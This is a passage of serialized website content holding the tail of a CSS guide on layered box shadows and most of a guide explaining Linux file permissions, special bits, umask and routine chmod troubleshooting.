ss":1570},[1560,141197,5285],{"class":1576},[1560,141199,1459],{"class":1570},[1560,141201,5285],{"class":1576},[1560,141203,1459],{"class":1570},[1560,141205,5285],{"class":1576},[1560,141207,1459],{"class":1570},[1560,141209,140508],{"class":1576},[1560,141211,19216],{"class":1570},[1560,141213,141214,141216,141218,141220,141222,141224,141226,141228,141230,141232,141234,141236,141238,141240,141242],{"class":1562,"line":1710},[1560,141215,19187],{"class":1576},[1560,141217,19024],{"class":1576},[1560,141219,1670],{"class":1669},[1560,141221,42731],{"class":1576},[1560,141223,1670],{"class":1669},[1560,141225,18694],{"class":1576},[1560,141227,1688],{"class":1570},[1560,141229,5285],{"class":1576},[1560,141231,1459],{"class":1570},[1560,141233,5285],{"class":1576},[1560,141235,1459],{"class":1570},[1560,141237,5285],{"class":1576},[1560,141239,1459],{"class":1570},[1560,141241,140508],{"class":1576},[1560,141243,1744],{"class":1570},[1560,141245,141246],{"class":1562,"line":1717},[1560,141247,1585],{"class":1570},[1560,141249,141250],{"class":1562,"line":1747},[1560,141251,1702],{"emptyLinePlaceholder":363},[1560,141253,141254],{"class":1562,"line":2507},[1560,141255,141256],{"class":1649},"\u002F* Dark mode — use the background color as shadow base *\u002F\n",[1560,141258,141259,141262],{"class":1562,"line":2524},[1560,141260,141261],{"class":1566},".card-dark",[1560,141263,1571],{"class":1570},[1560,141265,141266,141268],{"class":1562,"line":2529},[1560,141267,18679],{"class":1576},[1560,141269,19182],{"class":1570},[1560,141271,141272,141274,141276,141278,141280,141282,141284,141286,141288,141290,141292,141294,141296,141298,141300],{"class":1562,"line":2534},[1560,141273,19187],{"class":1576},[1560,141275,18868],{"class":1576},[1560,141277,1670],{"class":1669},[1560,141279,9426],{"class":1576},[1560,141281,1670],{"class":1669},[1560,141283,18694],{"class":1576},[1560,141285,1688],{"class":1570},[1560,141287,5285],{"class":1576},[1560,141289,1459],{"class":1570},[1560,141291,5285],{"class":1576},[1560,141293,1459],{"class":1570},[1560,141295,5285],{"class":1576},[1560,141297,1459],{"class":1570},[1560,141299,20229],{"class":1576},[1560,141301,19216],{"class":1570},[1560,141303,141304,141306,141308,141310,141312,141314,141316,141318,141320,141322,141324,141326,141328,141330,141333],{"class":1562,"line":2542},[1560,141305,19187],{"class":1576},[1560,141307,13574],{"class":1576},[1560,141309,1670],{"class":1669},[1560,141311,13490],{"class":1576},[1560,141313,1670],{"class":1669},[1560,141315,18694],{"class":1576},[1560,141317,1688],{"class":1570},[1560,141319,5285],{"class":1576},[1560,141321,1459],{"class":1570},[1560,141323,5285],{"class":1576},[1560,141325,1459],{"class":1570},[1560,141327,5285],{"class":1576},[1560,141329,1459],{"class":1570},[1560,141331,141332],{"class":1576},"0.20",[1560,141334,19216],{"class":1570},[1560,141336,141337,141339,141341,141343,141345,141347,141349,141351,141353,141355,141357,141359,141361,141363,141365],{"class":1562,"line":2558},[1560,141338,19187],{"class":1576},[1560,141340,19024],{"class":1576},[1560,141342,1670],{"class":1669},[1560,141344,42731],{"class":1576},[1560,141346,1670],{"class":1669},[1560,141348,18694],{"class":1576},[1560,141350,1688],{"class":1570},[1560,141352,5285],{"class":1576},[1560,141354,1459],{"class":1570},[1560,141356,5285],{"class":1576},[1560,141358,1459],{"class":1570},[1560,141360,5285],{"class":1576},[1560,141362,1459],{"class":1570},[1560,141364,19693],{"class":1576},[1560,141366,1744],{"class":1570},[1560,141368,141369],{"class":1562,"line":2570},[1560,141370,1585],{"class":1570},[16,141372,141373],{},"Some teams prefer colored shadows that match the element's brand color at low opacity:",[135,141375,141377],{"className":1554,"code":141376,"language":1556,"meta":141,"style":141},".brand-shadow {\n  box-shadow:\n    0 4px 6px rgba(59, 130, 246, 0.10),\n    0 12px 24px rgba(59, 130, 246, 0.15);\n}\n",[143,141378,141379,141386,141392,141424,141456],{"__ignoreMap":141},[1560,141380,141381,141384],{"class":1562,"line":1563},[1560,141382,141383],{"class":1566},".brand-shadow",[1560,141385,1571],{"class":1570},[1560,141387,141388,141390],{"class":1562,"line":337},[1560,141389,18679],{"class":1576},[1560,141391,19182],{"class":1570},[1560,141393,141394,141396,141398,141400,141402,141404,141406,141408,141410,141412,141414,141416,141418,141420,141422],{"class":1562,"line":343},[1560,141395,19187],{"class":1576},[1560,141397,13574],{"class":1576},[1560,141399,1670],{"class":1669},[1560,141401,43195],{"class":1576},[1560,141403,1670],{"class":1669},[1560,141405,18694],{"class":1576},[1560,141407,1688],{"class":1570},[1560,141409,19995],{"class":1576},[1560,141411,1459],{"class":1570},[1560,141413,20000],{"class":1576},[1560,141415,1459],{"class":1570},[1560,141417,20005],{"class":1576},[1560,141419,1459],{"class":1570},[1560,141421,19013],{"class":1576},[1560,141423,19216],{"class":1570},[1560,141425,141426,141428,141430,141432,141434,141436,141438,141440,141442,141444,141446,141448,141450,141452,141454],{"class":1562,"line":365},[1560,141427,19187],{"class":1576},[1560,141429,19321],{"class":1576},[1560,141431,1670],{"class":1669},[1560,141433,18193],{"class":1576},[1560,141435,1670],{"class":1669},[1560,141437,18694],{"class":1576},[1560,141439,1688],{"class":1570},[1560,141441,19995],{"class":1576},[1560,141443,1459],{"class":1570},[1560,141445,20000],{"class":1576},[1560,141447,1459],{"class":1570},[1560,141449,20005],{"class":1576},[1560,141451,1459],{"class":1570},[1560,141453,19693],{"class":1576},[1560,141455,1744],{"class":1570},[1560,141457,141458],{"class":1562,"line":889},[1560,141459,1585],{"class":1570},[11,141461,8286],{"id":8285},[16,141463,141464],{},"Layered shadows are rendered by the browser's compositor and are GPU-accelerated in all modern browsers. Three shadow layers have negligible performance impact.",[16,141466,141467,141468,141470,141471,141473],{},"However, animating ",[143,141469,1880],{}," triggers repaints on every frame. For smooth elevation transitions, animate ",[143,141472,1514],{}," instead and use a CSS transition between shadow states:",[135,141475,141477],{"className":1554,"code":141476,"language":1556,"meta":141,"style":141},".card {\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.07), 0 4px 8px rgba(0, 0, 0, 0.07);\n  transition: box-shadow 0.3s ease, transform 0.3s ease;\n}\n\n.card:hover {\n  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.07), 0 16px 32px rgba(0, 0, 0, 0.10);\n  transform: translateY(-2px);\n}\n",[143,141478,141479,141485,141551,141573,141577,141581,141587,141653,141669],{"__ignoreMap":141},[1560,141480,141481,141483],{"class":1562,"line":1563},[1560,141482,1567],{"class":1566},[1560,141484,1571],{"class":1570},[1560,141486,141487,141489,141491,141493,141495,141497,141499,141501,141503,141505,141507,141509,141511,141513,141515,141517,141519,141521,141523,141525,141527,141529,141531,141533,141535,141537,141539,141541,141543,141545,141547,141549],{"class":1562,"line":337},[1560,141488,18679],{"class":1576},[1560,141490,1663],{"class":1570},[1560,141492,5285],{"class":1576},[1560,141494,18868],{"class":1576},[1560,141496,1670],{"class":1669},[1560,141498,9426],{"class":1576},[1560,141500,1670],{"class":1669},[1560,141502,18694],{"class":1576},[1560,141504,1688],{"class":1570},[1560,141506,5285],{"class":1576},[1560,141508,1459],{"class":1570},[1560,141510,5285],{"class":1576},[1560,141512,1459],{"class":1570},[1560,141514,5285],{"class":1576},[1560,141516,1459],{"class":1570},[1560,141518,140508],{"class":1576},[1560,141520,18895],{"class":1570},[1560,141522,5285],{"class":1576},[1560,141524,13574],{"class":1576},[1560,141526,1670],{"class":1669},[1560,141528,13490],{"class":1576},[1560,141530,1670],{"class":1669},[1560,141532,18694],{"class":1576},[1560,141534,1688],{"class":1570},[1560,141536,5285],{"class":1576},[1560,141538,1459],{"class":1570},[1560,141540,5285],{"class":1576},[1560,141542,1459],{"class":1570},[1560,141544,5285],{"class":1576},[1560,141546,1459],{"class":1570},[1560,141548,140508],{"class":1576},[1560,141550,1744],{"class":1570},[1560,141552,141553,141555,141557,141559,141561,141563,141565,141567,141569,141571],{"class":1562,"line":343},[1560,141554,18718],{"class":1576},[1560,141556,18721],{"class":1570},[1560,141558,18724],{"class":1576},[1560,141560,18727],{"class":1669},[1560,141562,18730],{"class":1576},[1560,141564,18956],{"class":1570},[1560,141566,18724],{"class":1576},[1560,141568,18727],{"class":1669},[1560,141570,18730],{"class":1576},[1560,141572,2228],{"class":1570},[1560,141574,141575],{"class":1562,"line":365},[1560,141576,1585],{"class":1570},[1560,141578,141579],{"class":1562,"line":889},[1560,141580,1702],{"emptyLinePlaceholder":363},[1560,141582,141583,141585],{"class":1562,"line":1710},[1560,141584,18745],{"class":1566},[1560,141586,1571],{"class":1570},[1560,141588,141589,141591,141593,141595,141597,141599,141601,141603,141605,141607,141609,141611,141613,141615,141617,141619,141621,141623,141625,141627,141629,141631,141633,141635,141637,141639,141641,141643,141645,141647,141649,141651],{"class":1562,"line":1717},[1560,141590,18679],{"class":1576},[1560,141592,1663],{"class":1570},[1560,141594,5285],{"class":1576},[1560,141596,13574],{"class":1576},[1560,141598,1670],{"class":1669},[1560,141600,13490],{"class":1576},[1560,141602,1670],{"class":1669},[1560,141604,18694],{"class":1576},[1560,141606,1688],{"class":1570},[1560,141608,5285],{"class":1576},[1560,141610,1459],{"class":1570},[1560,141612,5285],{"class":1576},[1560,141614,1459],{"class":1570},[1560,141616,5285],{"class":1576},[1560,141618,1459],{"class":1570},[1560,141620,140508],{"class":1576},[1560,141622,18895],{"class":1570},[1560,141624,5285],{"class":1576},[1560,141626,19024],{"class":1576},[1560,141628,1670],{"class":1669},[1560,141630,42731],{"class":1576},[1560,141632,1670],{"class":1669},[1560,141634,18694],{"class":1576},[1560,141636,1688],{"class":1570},[1560,141638,5285],{"class":1576},[1560,141640,1459],{"class":1570},[1560,141642,5285],{"class":1576},[1560,141644,1459],{"class":1570},[1560,141646,5285],{"class":1576},[1560,141648,1459],{"class":1570},[1560,141650,19013],{"class":1576},[1560,141652,1744],{"class":1570},[1560,141654,141655,141657,141659,141661,141663,141665,141667],{"class":1562,"line":1747},[1560,141656,1720],{"class":1576},[1560,141658,1663],{"class":1570},[1560,141660,18845],{"class":1576},[1560,141662,1688],{"class":1570},[1560,141664,19759],{"class":1576},[1560,141666,1670],{"class":1669},[1560,141668,1744],{"class":1570},[1560,141670,141671],{"class":1562,"line":2507},[1560,141672,1585],{"class":1570},[11,141674,1355],{"id":1354},[41,141676,141677,141680,141683,141686,141689,141692],{},[44,141678,141679],{},"Layered box shadows create natural depth by simulating umbra and penumbra",[44,141681,141682],{},"Stack 2–4 shadow layers with increasing offset, blur, and consistent low opacity",[44,141684,141685],{},"Use the same opacity per layer; darkness accumulates naturally",[44,141687,141688],{},"Dark mode requires adjusted shadow colors — avoid pure black halos",[44,141690,141691],{},"Colored shadows add polish when used sparingly",[44,141693,141694],{},"Animate shadows with CSS transitions for smooth hover effects",[11,141696,286],{"id":285},[16,141698,141699,141700,141702],{},"Design layered box shadows interactively with our ",[98,141701,20279],{"href":20278},". Add multiple shadow layers, adjust offsets and blur, then copy the CSS directly into your project.",[11,141704,321],{"id":320},[41,141706,141707,141712],{},[44,141708,141709,141711],{},[98,141710,20290],{"href":20289}," — syntax, parameters, and all shadow types",[44,141713,141714,141717],{},[98,141715,141716],{"href":20325},"Box Shadow Animation Techniques"," — smooth transitions and elevation effects",[2043,141719,141720],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":141722},[141723,141724,141725,141731,141732,141733,141734,141735],{"id":140391,"depth":337,"text":140392},{"id":140595,"depth":337,"text":140596},{"id":140625,"depth":337,"text":140626,"children":141726},[141727,141728,141729,141730],{"id":140632,"depth":343,"text":140633},{"id":140722,"depth":343,"text":140723},{"id":140845,"depth":343,"text":140846},{"id":140999,"depth":343,"text":141000},{"id":141121,"depth":337,"text":141122},{"id":8285,"depth":337,"text":8286},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how layered box shadows create realistic depth and elevation in CSS. Compare single vs. multiple shadows and get practical shadow recipes.",{"keywords":141738,"immutable":363},[20323,141739],"layered-box-shadows-depth",{"title":140386,"description":141736},"guides\u002Flayered-box-shadows-depth","T51u8-OD2qV5_nlA6jm4NaRfJoj2SMC6GfFUrBVldjs",{"id":141744,"title":141745,"body":141746,"date":2070,"description":142627,"extension":361,"meta":142628,"navigation":363,"path":25175,"readingTime":7146,"seo":142631,"stem":142632,"__hash__":142633},"guides\u002Fguides\u002Flinux-file-permissions.md","Linux File Permissions Explained: Owners, Groups, and Others",{"type":8,"value":141747,"toc":142600},[141748,141752,141755,141758,141762,141766,141773,141776,141806,141809,141812,141815,141836,141839,141842,141845,141849,141852,141899,141905,141908,141912,141917,141923,141929,141972,141975,141988,141992,141995,141999,142002,142036,142039,142068,142071,142075,142078,142111,142114,142118,142124,142154,142157,142185,142189,142259,142263,142266,142269,142327,142330,142345,142348,142360,142369,142380,142384,142388,142420,142424,142427,142446,142450,142453,142503,142507,142510,142523,142527,142530,142550,142552,142575,142577,142583,142585,142597],[11,141749,141751],{"id":141750},"how-linux-permissions-work","How Linux Permissions Work",[16,141753,141754],{},"Every file and directory on a Linux system has an owner, a group, and a set of permission bits. These three elements together determine who can do what with that file. The system checks permissions in a strict order: first the owner, then the group, then others. As soon as a matching rule is found, the check stops.",[16,141756,141757],{},"This means that even if \"others\" have full access, the owner's permissions take priority. A file owned by root with mode 700 is inaccessible to everyone else, regardless of group or other permissions.",[11,141759,141761],{"id":141760},"the-three-user-classes","The Three User Classes",[33,141763,141765],{"id":141764},"owner-user","Owner (User)",[16,141767,141768,141769,141772],{},"The owner is typically the account that created the file. The owner can change the file's permissions and ownership (with ",[143,141770,141771],{},"chown","). Only root can change ownership to another user.",[16,141774,141775],{},"Check ownership with:",[135,141777,141779],{"className":6951,"code":141778,"language":6953,"meta":141,"style":141},"ls -l \u002Fetc\u002Fpasswd\n# -rw-r--r-- 1 root root 2847 May 28 10:00 \u002Fetc\u002Fpasswd\n#              ^^^^  ^^^^\n#              owner group\n",[143,141780,141781,141791,141796,141801],{"__ignoreMap":141},[1560,141782,141783,141785,141788],{"class":1562,"line":1563},[1560,141784,8991],{"class":1566},[1560,141786,141787],{"class":1576}," -l",[1560,141789,141790],{"class":5634}," \u002Fetc\u002Fpasswd\n",[1560,141792,141793],{"class":1562,"line":337},[1560,141794,141795],{"class":1649},"# -rw-r--r-- 1 root root 2847 May 28 10:00 \u002Fetc\u002Fpasswd\n",[1560,141797,141798],{"class":1562,"line":343},[1560,141799,141800],{"class":1649},"#              ^^^^  ^^^^\n",[1560,141802,141803],{"class":1562,"line":365},[1560,141804,141805],{"class":1649},"#              owner group\n",[33,141807,24550],{"id":141808},"group",[16,141810,141811],{},"Every file belongs to one group. Users who are members of that group receive the group-level permissions. This is useful for collaboration — you can give a team read-write access to shared files without opening them to everyone.",[16,141813,141814],{},"Add a user to a group:",[135,141816,141818],{"className":6951,"code":141817,"language":6953,"meta":141,"style":141},"sudo usermod -aG developers alice\n",[143,141819,141820],{"__ignoreMap":141},[1560,141821,141822,141824,141827,141830,141833],{"class":1562,"line":1563},[1560,141823,27025],{"class":1566},[1560,141825,141826],{"class":5634}," usermod",[1560,141828,141829],{"class":1576}," -aG",[1560,141831,141832],{"class":5634}," developers",[1560,141834,141835],{"class":5634}," alice\n",[16,141837,141838],{},"After adding a user to a group, they must log in again for the change to take effect on existing sessions.",[33,141840,25269],{"id":141841},"others",[16,141843,141844],{},"Others means everyone who is neither the owner nor in the file's group. This is the most restrictive category by default. Public web files, for example, give others read access so the web server can serve them.",[11,141846,141848],{"id":141847},"file-vs-directory-permissions","File vs Directory Permissions",[16,141850,141851],{},"The same permission bits have different effects depending on whether the target is a file or a directory. This is a common source of confusion.",[193,141853,141854,141865],{},[196,141855,141856],{},[199,141857,141858,141860,141862],{},[202,141859,25282],{},[202,141861,139374],{},[202,141863,141864],{},"Directory",[211,141866,141867,141878,141889],{},[199,141868,141869,141872,141875],{},[216,141870,141871],{},"r (read)",[216,141873,141874],{},"View contents with cat, less, etc.",[216,141876,141877],{},"List filenames with ls",[199,141879,141880,141883,141886],{},[216,141881,141882],{},"w (write)",[216,141884,141885],{},"Modify or delete file contents",[216,141887,141888],{},"Create, delete, or rename files inside",[199,141890,141891,141894,141896],{},[216,141892,141893],{},"x (execute)",[216,141895,25330],{},[216,141897,141898],{},"Enter the directory with cd, access files inside",[16,141900,141901,141902,141904],{},"Key insight: read on a directory lets you list names, but without execute you cannot ",[143,141903,24791],{}," into it or access the files' metadata. Execute on a directory is almost always needed alongside read for practical use.",[16,141906,141907],{},"Conversely, execute without read lets you access a file inside the directory if you know its exact name, but you cannot list the directory contents.",[11,141909,141911],{"id":141910},"viewing-permissions","Viewing Permissions",[16,141913,421,141914,141916],{},[143,141915,25339],{}," command shows permissions as a 10-character string:",[135,141918,141921],{"className":141919,"code":141920,"language":140},[138],"-rwxr-xr-- 1 alice developers 4096 May 28 10:00 report.txt\n",[143,141922,141920],{"__ignoreMap":141},[16,141924,141925,141926,8037],{},"Breaking down ",[143,141927,141928],{},"-rwxr-xr--",[193,141930,141931,141939],{},[196,141932,141933],{},[199,141934,141935,141937],{},[202,141936,45688],{},[202,141938,4228],{},[211,141940,141941,141948,141956,141964],{},[199,141942,141943,141945],{},[216,141944,3585],{},[216,141946,141947],{},"File type (- = regular file, d = directory, l = symlink)",[199,141949,141950,141953],{},[216,141951,141952],{},"2-4",[216,141954,141955],{},"Owner permissions (rwx)",[199,141957,141958,141961],{},[216,141959,141960],{},"5-7",[216,141962,141963],{},"Group permissions (r-x)",[199,141965,141966,141969],{},[216,141967,141968],{},"8-10",[216,141970,141971],{},"Others permissions (r--)",[16,141973,141974],{},"For a comprehensive view including ACLs:",[135,141976,141978],{"className":6951,"code":141977,"language":6953,"meta":141,"style":141},"getfacl report.txt\n",[143,141979,141980],{"__ignoreMap":141},[1560,141981,141982,141985],{"class":1562,"line":1563},[1560,141983,141984],{"class":1566},"getfacl",[1560,141986,141987],{"class":5634}," report.txt\n",[11,141989,141991],{"id":141990},"special-permission-bits","Special Permission Bits",[16,141993,141994],{},"Beyond the standard rwx bits, Linux supports three special permissions that change behavior in specific ways.",[33,141996,141998],{"id":141997},"setuid-4xxx","setuid (4xxx)",[16,142000,142001],{},"When set on an executable, the program runs as the file's owner, not as the user who launched it.",[135,142003,142005],{"className":6951,"code":142004,"language":6953,"meta":141,"style":141},"# The passwd command runs as root regardless of who calls it\nls -l \u002Fusr\u002Fbin\u002Fpasswd\n# -rwsr-xr-x 1 root root 68208 May 28 10:00 \u002Fusr\u002Fbin\u002Fpasswd\n#   ^\n#   setuid bit (s replaces x)\n",[143,142006,142007,142012,142021,142026,142031],{"__ignoreMap":141},[1560,142008,142009],{"class":1562,"line":1563},[1560,142010,142011],{"class":1649},"# The passwd command runs as root regardless of who calls it\n",[1560,142013,142014,142016,142018],{"class":1562,"line":337},[1560,142015,8991],{"class":1566},[1560,142017,141787],{"class":1576},[1560,142019,142020],{"class":5634}," \u002Fusr\u002Fbin\u002Fpasswd\n",[1560,142022,142023],{"class":1562,"line":343},[1560,142024,142025],{"class":1649},"# -rwsr-xr-x 1 root root 68208 May 28 10:00 \u002Fusr\u002Fbin\u002Fpasswd\n",[1560,142027,142028],{"class":1562,"line":365},[1560,142029,142030],{"class":1649},"#   ^\n",[1560,142032,142033],{"class":1562,"line":889},[1560,142034,142035],{"class":1649},"#   setuid bit (s replaces x)\n",[16,142037,142038],{},"Setting setuid:",[135,142040,142042],{"className":6951,"code":142041,"language":6953,"meta":141,"style":141},"chmod u+s \u002Fusr\u002Flocal\u002Fbin\u002Fmyapp\n# Or numerically:\nchmod 4755 \u002Fusr\u002Flocal\u002Fbin\u002Fmyapp\n",[143,142043,142044,142054,142059],{"__ignoreMap":141},[1560,142045,142046,142048,142051],{"class":1562,"line":1563},[1560,142047,24759],{"class":1566},[1560,142049,142050],{"class":5634}," u+s",[1560,142052,142053],{"class":5634}," \u002Fusr\u002Flocal\u002Fbin\u002Fmyapp\n",[1560,142055,142056],{"class":1562,"line":337},[1560,142057,142058],{"class":1649},"# Or numerically:\n",[1560,142060,142061,142063,142066],{"class":1562,"line":343},[1560,142062,24759],{"class":1566},[1560,142064,142065],{"class":1576}," 4755",[1560,142067,142053],{"class":5634},[16,142069,142070],{},"Security risk: setuid binaries owned by root are a common privilege escalation target. Audit them regularly.",[33,142072,142074],{"id":142073},"setgid-2xxx","setgid (2xxx)",[16,142076,142077],{},"On an executable, it runs with the file's group. On a directory, new files inside inherit the directory's group instead of the creator's primary group.",[135,142079,142081],{"className":6951,"code":142080,"language":6953,"meta":141,"style":141},"# Shared project directory — all new files get the developers group\nchmod g+s \u002Fprojects\u002Fwebapp\n# Numerically:\nchmod 2775 \u002Fprojects\u002Fwebapp\n",[143,142082,142083,142088,142098,142103],{"__ignoreMap":141},[1560,142084,142085],{"class":1562,"line":1563},[1560,142086,142087],{"class":1649},"# Shared project directory — all new files get the developers group\n",[1560,142089,142090,142092,142095],{"class":1562,"line":337},[1560,142091,24759],{"class":1566},[1560,142093,142094],{"class":5634}," g+s",[1560,142096,142097],{"class":5634}," \u002Fprojects\u002Fwebapp\n",[1560,142099,142100],{"class":1562,"line":343},[1560,142101,142102],{"class":1649},"# Numerically:\n",[1560,142104,142105,142107,142109],{"class":1562,"line":365},[1560,142106,24759],{"class":1566},[1560,142108,24981],{"class":1576},[1560,142110,142097],{"class":5634},[16,142112,142113],{},"setgid on directories is extremely useful for shared workspaces. Without it, new files default to the creator's group, breaking collaboration.",[33,142115,142117],{"id":142116},"sticky-bit-1xxx","Sticky Bit (1xxx)",[16,142119,142120,142121,468],{},"On a directory, the sticky bit prevents users from deleting files they do not own. This is essential for shared writable directories like ",[143,142122,142123],{},"\u002Ftmp",[135,142125,142127],{"className":6951,"code":142126,"language":6953,"meta":141,"style":141},"ls -ld \u002Ftmp\n# drwxrwxrwt 10 root root 4096 May 28 10:00 \u002Ftmp\n#            ^\n#            sticky bit (t replaces x)\n",[143,142128,142129,142139,142144,142149],{"__ignoreMap":141},[1560,142130,142131,142133,142136],{"class":1562,"line":1563},[1560,142132,8991],{"class":1566},[1560,142134,142135],{"class":1576}," -ld",[1560,142137,142138],{"class":5634}," \u002Ftmp\n",[1560,142140,142141],{"class":1562,"line":337},[1560,142142,142143],{"class":1649},"# drwxrwxrwt 10 root root 4096 May 28 10:00 \u002Ftmp\n",[1560,142145,142146],{"class":1562,"line":343},[1560,142147,142148],{"class":1649},"#            ^\n",[1560,142150,142151],{"class":1562,"line":365},[1560,142152,142153],{"class":1649},"#            sticky bit (t replaces x)\n",[16,142155,142156],{},"Setting the sticky bit:",[135,142158,142160],{"className":6951,"code":142159,"language":6953,"meta":141,"style":141},"chmod +t \u002Fshared\u002Fuploads\n# Numerically:\nchmod 1777 \u002Fshared\u002Fuploads\n",[143,142161,142162,142172,142176],{"__ignoreMap":141},[1560,142163,142164,142166,142169],{"class":1562,"line":1563},[1560,142165,24759],{"class":1566},[1560,142167,142168],{"class":5634}," +t",[1560,142170,142171],{"class":5634}," \u002Fshared\u002Fuploads\n",[1560,142173,142174],{"class":1562,"line":337},[1560,142175,142102],{"class":1649},[1560,142177,142178,142180,142183],{"class":1562,"line":343},[1560,142179,24759],{"class":1566},[1560,142181,142182],{"class":1576}," 1777",[1560,142184,142171],{"class":5634},[33,142186,142188],{"id":142187},"special-bits-summary","Special Bits Summary",[193,142190,142191,142208],{},[196,142192,142193],{},[199,142194,142195,142198,142200,142202,142205],{},[202,142196,142197],{},"Bit",[202,142199,24541],{},[202,142201,25285],{},[202,142203,142204],{},"On File",[202,142206,142207],{},"On Directory",[211,142209,142210,142227,142244],{},[199,142211,142212,142215,142218,142221,142224],{},[216,142213,142214],{},"setuid",[216,142216,142217],{},"4000",[216,142219,142220],{},"u+s",[216,142222,142223],{},"Runs as owner",[216,142225,142226],{},"No effect",[199,142228,142229,142232,142235,142238,142241],{},[216,142230,142231],{},"setgid",[216,142233,142234],{},"2000",[216,142236,142237],{},"g+s",[216,142239,142240],{},"Runs as group",[216,142242,142243],{},"New files inherit group",[199,142245,142246,142249,142251,142254,142256],{},[216,142247,142248],{},"Sticky",[216,142250,80124],{},[216,142252,142253],{},"+t",[216,142255,142226],{},[216,142257,142258],{},"Only owner can delete",[11,142260,142262],{"id":142261},"understanding-umask","Understanding umask",[16,142264,142265],{},"The umask controls default permissions for newly created files and directories. It subtracts bits from the system defaults (777 for directories, 666 for files).",[16,142267,142268],{},"Common umask values:",[193,142270,142271,142283],{},[196,142272,142273],{},[199,142274,142275,142277,142279,142281],{},[202,142276,25951],{},[202,142278,139374],{},[202,142280,141864],{},[202,142282,1775],{},[211,142284,142285,142299,142313],{},[199,142286,142287,142290,142293,142296],{},[216,142288,142289],{},"022",[216,142291,142292],{},"644 (rw-r--r--)",[216,142294,142295],{},"755 (rwxr-xr-x)",[216,142297,142298],{},"Default on most systems",[199,142300,142301,142304,142307,142310],{},[216,142302,142303],{},"027",[216,142305,142306],{},"640 (rw-r-----)",[216,142308,142309],{},"750 (rwxr-x---)",[216,142311,142312],{},"More restrictive, shared servers",[199,142314,142315,142318,142321,142324],{},[216,142316,142317],{},"077",[216,142319,142320],{},"600 (rw-------)",[216,142322,142323],{},"700 (rwx------)",[216,142325,142326],{},"Maximum privacy, single-user",[16,142328,142329],{},"Check your current umask:",[135,142331,142333],{"className":6951,"code":142332,"language":6953,"meta":141,"style":141},"umask\n# 0022\n",[143,142334,142335,142340],{"__ignoreMap":141},[1560,142336,142337],{"class":1562,"line":1563},[1560,142338,142339],{"class":1576},"umask\n",[1560,142341,142342],{"class":1562,"line":337},[1560,142343,142344],{"class":1649},"# 0022\n",[16,142346,142347],{},"Set umask temporarily:",[135,142349,142351],{"className":6951,"code":142350,"language":6953,"meta":141,"style":141},"umask 027\n",[143,142352,142353],{"__ignoreMap":141},[1560,142354,142355,142357],{"class":1562,"line":1563},[1560,142356,25951],{"class":1576},[1560,142358,142359],{"class":1576}," 027\n",[16,142361,142362,142363,1531,142366,468],{},"Set it permanently by adding the command to ",[143,142364,142365],{},"~\u002F.bashrc",[143,142367,142368],{},"\u002Fetc\u002Fprofile",[16,142370,142371,142372,142375,142376,142379],{},"Important: umask does not affect files you copy (",[143,142373,142374],{},"cp"," preserves source permissions by default). Use ",[143,142377,142378],{},"cp --no-preserve=mode"," to apply umask.",[11,142381,142383],{"id":142382},"permission-troubleshooting","Permission Troubleshooting",[33,142385,142387],{"id":142386},"permission-denied-when-running-a-script","\"Permission denied\" when running a script",[135,142389,142391],{"className":6951,"code":142390,"language":6953,"meta":141,"style":141},"# Check if execute bit is set\nls -l script.sh\n# Fix:\nchmod +x script.sh\n",[143,142392,142393,142398,142406,142411],{"__ignoreMap":141},[1560,142394,142395],{"class":1562,"line":1563},[1560,142396,142397],{"class":1649},"# Check if execute bit is set\n",[1560,142399,142400,142402,142404],{"class":1562,"line":337},[1560,142401,8991],{"class":1566},[1560,142403,141787],{"class":1576},[1560,142405,25484],{"class":5634},[1560,142407,142408],{"class":1562,"line":343},[1560,142409,142410],{"class":1649},"# Fix:\n",[1560,142412,142413,142415,142418],{"class":1562,"line":365},[1560,142414,24759],{"class":1566},[1560,142416,142417],{"class":5634}," +x",[1560,142419,25484],{"class":5634},[33,142421,142423],{"id":142422},"cannot-cd-into-a-directory","Cannot cd into a directory",[16,142425,142426],{},"The directory likely lacks the execute bit for your user class.",[135,142428,142430],{"className":6951,"code":142429,"language":6953,"meta":141,"style":141},"# Fix:\nchmod o+x \u002Fshared\u002Fproject\n",[143,142431,142432,142436],{"__ignoreMap":141},[1560,142433,142434],{"class":1562,"line":1563},[1560,142435,142410],{"class":1649},[1560,142437,142438,142440,142443],{"class":1562,"line":337},[1560,142439,24759],{"class":1566},[1560,142441,142442],{"class":5634}," o+x",[1560,142444,142445],{"class":5634}," \u002Fshared\u002Fproject\n",[33,142447,142449],{"id":142448},"web-server-returns-403-forbidden","Web server returns 403 Forbidden",[16,142451,142452],{},"The web server user (often www-data or nginx) needs read access to files and read+execute on directories.",[135,142454,142456],{"className":6951,"code":142455,"language":6953,"meta":141,"style":141},"# Common fix for web roots:\nfind \u002Fvar\u002Fwww -type d -exec chmod 755 {} +\nfind \u002Fvar\u002Fwww -type f -exec chmod 644 {} +\n",[143,142457,142458,142463,142483],{"__ignoreMap":141},[1560,142459,142460],{"class":1562,"line":1563},[1560,142461,142462],{"class":1649},"# Common fix for web 